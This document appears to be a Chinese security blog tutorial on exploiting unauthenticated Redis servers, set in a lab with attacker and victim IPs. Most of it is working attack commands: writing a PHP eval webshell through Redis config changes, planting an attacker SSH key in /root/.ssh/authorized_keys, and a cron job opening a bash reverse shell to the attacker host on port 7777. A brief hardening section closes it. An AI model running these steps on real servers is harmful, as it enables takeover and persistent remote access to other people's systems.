redis未授权访问漏洞三种提权方式
文章目录
前言
扫描/连接默认的6379端口➢ 利用方式:
⚫ 向Web目录中写shell:需要猜到Web目录地址
⚫ 写ssh-keygen公钥然后使用私钥登陆
⚫ 利用crontab反弹shell
一、redis是什么?
Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。
二、漏洞利用条件
1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
2.没有设置密码认证(一般为空),可以免密码远程登录redis服务。
三、漏洞利用
攻击方:192.168.244.129
受害方:192.168.244.128
1、利用redis写webshell
config set:快捷修改redis配置。
dbfilename :设置快照的文件名,默认是 dump.rdb
dir:默认redis文件保存路径
首先我们要猜到网站的目录地址,然后可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。
命令如下
config setdir /var/www/html/
config set dbfilename shell.php
set x "\r\n\r\n<?php eval($_POST[cmd]);?>\r\n\r\n"
save
- \r\n\r\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。
- 注意受害方redis是必须是以root的身份运行,不然会报错
成功在对应的文件夹里找到相应的文件
查看对应内容是写入的一句话木马
用蚁剑连接
成功拿下
2、写ssh-keygen公钥然后使用私钥登陆
- 服务端存在.ssh目录并且有写入的权限。
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
命令如下:
ssh-keygen -t rsa
在/root/.ssh/id_rsa文件夹下生成了公钥和私钥
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")> key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.244.128 -x set xxx
使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/并保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上。
redis-cli -h 192.168.244.128 -p 6379
config setdir /root/.ssh
config set dbfilename authorized_keys
save
在受害机相应路径下传输公钥
ssh连接目标机成功
3、Redis 写入计划任务
在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
命令如下:
redis-cli -h 192.168.244.128 -p 6379set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/7777 0>&1\n\n"
config setdir /var/spool/cron/crontabs/
config set dbfilename root
save
监听7777号端口
经过一分钟以后,在攻击机的nc中成功反弹shell回来
注意
这个方法只能Centos上使用,Ubuntu上行不通,原因如下:
- 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行
- 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
- 由于系统的不同,crontrab定时文件位置也会不同
- Centos的定时任务文件在/var/spool/cron/
- Ubuntu定时任务文件在/var/spool/cron/crontabs/
四、 Redis未授权访问防御方法
➢ 可以配置redis.conf文件,在redis安装目录下
⚫ 默认只对本地开放bind 127.0.0.1
⚫ 添加登陆密码:修改redis.conf文件,添加requirepass password
⚫ 在需要对外开放的时候修改默认端口(端口不重复就行)port 2333
⚫ 配合iptables限制开放
⚫ 降权:以低权限运行 Redis 服务(重启redis才能生效)
⚫ 禁止使用root权限启动redis服务
版权归原作者 遇事不决,可问春风、 所有, 如有侵权,请联系我们删除。